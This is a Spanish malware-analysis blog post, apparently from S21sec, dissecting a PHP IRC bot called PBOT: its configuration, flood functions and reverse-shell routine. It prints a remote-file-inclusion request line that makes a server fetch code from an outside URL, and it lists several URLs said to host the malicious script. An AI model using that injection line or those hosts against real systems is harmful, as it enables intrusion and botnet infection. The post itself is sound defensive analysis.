Español | English
rss facebook linkedin Twitter

Análisis de la evolución de un bot (PBOT): Parte I


En los últimos días, hemos visto la evolución de un bot, al que llamaremos: PBOT
En primer lugar se ha observado que mediante una vulnerabilidad de PHP, en la que se intenta inyectar código a través de la variable _SERVER[DOCUMENT_ROOT], asignándole una URL en la que recogerá los datos.
  • GET/path/?_SERVER[DOCUMENT_ROOT]=http://url.com/path/archivoPHPmalicioso??   HTTP/1.1

Cómo archivos maliciosos nos hemos encontrado diversos casos, en lo que parece ser la evolución del mismo script. 
  • http://flosser-adler.de/phpMyAdmin/LICENSE
  • http://goldstudio.zz.mu/index/links.gif
  • http://console-toi.fr/wp-includes/images/id.gif 

En el primero de los casos, hemos observado claramente que se trata de un archivo PHP.  


Funcionalidades de pBot

Cómo se puede observar en la evidencia, este programa se trata de un "bot" y que dispone de ciertas funcionalidades, a parte de las evidentes de conexión y desconexión del bot al servidor, de otras destinadas a realizar un ataque, como por ejemplo:
  • Envío de Mails
  • Ejecución de comandos
  • Ejecución de un código php proporcionado
  • Realizar ataques de tcpflood/udpflood
  • Escaneo de puertos
  • Conexión inversa con una shell

Este bot se conecta a un canal de IRC, para poder recibir los comandos, aunque también disponga de la funcionalidad para realizar una conexión inversa, con la que disponer de una shell directamente. Cómo se puede observar en las variables de configuración de dicho bot, se encuentran los servidores a los que realizar la conexión, canales, e incluso los credenciales que se utilizarán para la conexión (tanto con el bot, como con el server IRC). 


Variables de configuración de pBot

Se puede observar que aún se encuentra en desarrollo, puesto que hay algunas partes del código comentadas. A continuación, analizaremos aquellas funciones más importantes. Al final de todo del script, se puede observar como crea un objeto de la clase pBot, y a continuación lanza la función "start()", por lo que empezaremos por esta:
Función START()

Para empezar, esta función crea una conexión a los servidores establecidos en la configuración mediante la función "fsockopen" de php. A continuación crea un identificador para el bot, concatenando el texto obtenido de "config[idetmms]" y un máximo de 3 números aleatorios. Por último, antes de llamar a la función main, se autentica contra el servidor con el que ha establecido la conexión.
Antes de analizar la función principal (main) analizaremos las otras dos funciones que tienen algo de "jugo", puesto que la función main, es algo extensa.

Las funciones udpflood y tcpflood actúan de forma similar. En primer lugar, notifican mediante el canal establecido en "chan", que el ataque de udpflood/tcpflood comienza, y a continuación, crean un paquete con contenido aleatorio, que envían durante un cierto número de veces (en un principio en udp durante un tiempo especificado como parámetro, en el caso de tcp un número de veces establecidas por parámetro) creando distintas conexiones para llegar a saturar el servidor/servicio. 

 Función UDPFLOOD()

Función TCPFLOOD()

A la siguiente función "conback", se le proporcionan dos parámetros, que son una IP y un puerto (estos se usarán para realizar la conexión inversa). En primer lugar, escribe en el canal de IRC, que intenta realizar la conexión a la IP y puerto proporcionados. A continuación, comprueba si es posible escribir en "/tmp/ para volcar el contenido de una variable (en esta primera versión se encuentra comentada, por eso parece estar el script en desarrollo) dentro de un archivo llamado "dc.pl", previa decodificación en base64 de ésta. A continuación, intenta ejecutar el archivo creado para que este realice la conexión a la IP especificada y pueda proveerle una shell. Por último al acabar la ejecución de éste, intenta borrar el archivo para no dejar evidencias.
Función CONBACK()

Existen otras funciones dentro de este bot, pero que básicamente son órdenes o mensajes básicos para el canal de IRC, como establecer el nickname (en este caso, identificando el tipo de servidor comprometido), unirse a un canal, enviar un mensaje privado, etc.
En el siguiente artículo, se analizará la función principal de éste así como la generación del archivo dc.pl por parte de la función "conback()".


Abel Gómez Águila
Dpto. ACSS S21SEC

(+34 902 222 521)


24 horas / 7 días a la semana



© Copyright S21sec 2013 - Todos los derechos reservados


login